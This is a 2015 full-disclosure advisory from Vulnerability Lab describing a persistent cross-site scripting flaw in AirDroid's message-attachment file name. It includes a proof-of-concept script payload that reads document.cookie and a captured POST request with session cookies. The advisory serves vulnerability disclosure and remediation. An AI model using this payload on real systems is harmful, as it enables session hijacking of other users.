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List: full-disclosure
Subject: [FD] Airdroid iOS, Android & Win 3.1.3 - Persistent Vulnerability
From: Vulnerability Lab <research () vulnerability-lab ! com>
Date: 2015-07-20 12:35:35
Message-ID: 55ACEB17.5080608 () vulnerability-lab ! com
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Document Title:
===============
Airdroid iOS, Android & Win 3.1.3 - Persistent Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1543
Release Date:
=============
2015-07-20
Vulnerability Laboratory ID (VL-ID):
====================================
1543
Common Vulnerability Scoring System:
====================================
3.9
Product & Service Introduction:
===============================
AirDroid allows you to access wirelessly and for free on your Android phone or tablet from \
Windows, Mac or the Internet, and to control it.
(Copy of the Product Homepage: https://www.airdroid.com/de/ )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered an application-side input validation \
web vulnerability in the official SandStudio AirDroid (windows, ios and android) mobile \
web-application.
Vulnerability Disclosure Timeline:
==================================
2015-07-05: Researcher Notification & Coordination (Hadji Samir)
2015-07-06: Vendor Notification (Security Team)
2015-07-20: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Sand Studio
Product: AirDroid iOS Application (Andoird, Windows, MacOS & Web) 3.1.3
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official SandStudio \
AirDroid (windows, ios and android) mobile web-application. The vulnerability allows remote \
attacker or low privilege user accounts to inject malicious codes to the application-side of \
the affected mobile web-application.
The vulnerability is located in the send messages and the send message with an attached file \
module. Remote attackers with low privilege user account are able to upload file name with \
malicious strings like ``><script>alert(1).txt. On the arrival inbox occurs the execution of \
the malicious code that compromises the other target system/device user account. The \
vulnerability is located on the application-side and the request method to inject is POST.
The security risk of the application-side web vulnerability is estimated as medium with a cvss \
(common vulnerability scoring system) count of 3.9. Exploitation of the application-side web \
vulnerability requires a low privilege web-application user account and low user interaction. \
Successful exploitation of the vulnerabilities results in persistent phishing mails, session \
hijacking, persistent external redirect to malicious sources and application-side manipulation \
of affected or connected module context.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Send Message
Vulnerable Parameter(s):
[+] filename
Affected Module(s):
[+] Message Inbox
Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with low privilege application user \
account and low user interaction (click). For security demonstration or to reproduce the \
vulnerability follow the provided information and steps below to continue.
PoC:
<span class="name">"><"><script>alert(document.cookie).txt< span="">[PERSISTENT INJECTED SCRIPT \
CODE] <span class="progress-rate">100%</span>
<a class="attach-del-icon"></a>
</scrip...txt<></span>
--- PoC Session Logs [POST] ---
11:13:00.993[0ms][total 0ms] Status: pending[]
POST https://upload.airdroid.com/sms/attachment/?fn=%22%3E%3Cscript%3Ealert(document.cookie).txt \
&d=&after=0&rtype=0&origin=http%3A%2F%2Fweb.airdroid.com&country=DZ&fname=%22%3E%3Cscript%3Ealert(document.cookie).txt \
Load Flags[LOAD_BYPASS_CACHE ] Content Size[unknown] Mime Type[unknown]
Request Headers:
Host[upload.airdroid.com]
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
Content-Type[application/octet-stream]
Referer[http://web.airdroid.com/]
Content-Length[5281]
Origin[http://web.airdroid.com]
Cookie[_SESSION=0b484eb230f27c004a7e990bace6175a416b58ed-%00_TS%3A1438769709%00; \
_ga=GA1.2.1046706455.1436177514; _gat=1; account_sid=c51d21b583ce76c04c8d4fa5a5c7496e; \
account_info=aW5mby5kaW1hbmV0QGdtYWlsLmNvbQ%3D%3D%2C63b971b729a756a3c1eb0fec6cccb736%2C9731220%2C59fd7af875fa5434a86e5397c79380d2]
Post Data:
POST_DATA[-PNG
Note: We demonstrated the poc by usage of the web-app but the local app is also vulnerable to \
the same issue!
Solution - Fix & Patch:
=======================
The vulnerbaility can be patched by a secure parse and encode of the vulnerable filename value \
in the send message module with the attach file function.
Security Risk:
==============
The security risk of the application-side input validation web vulnerability in the airdroid \
app is estimated as medium. (CVSS 3.9)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [samir@evolution-sec.com]
Disclaimer & Information:
=========================
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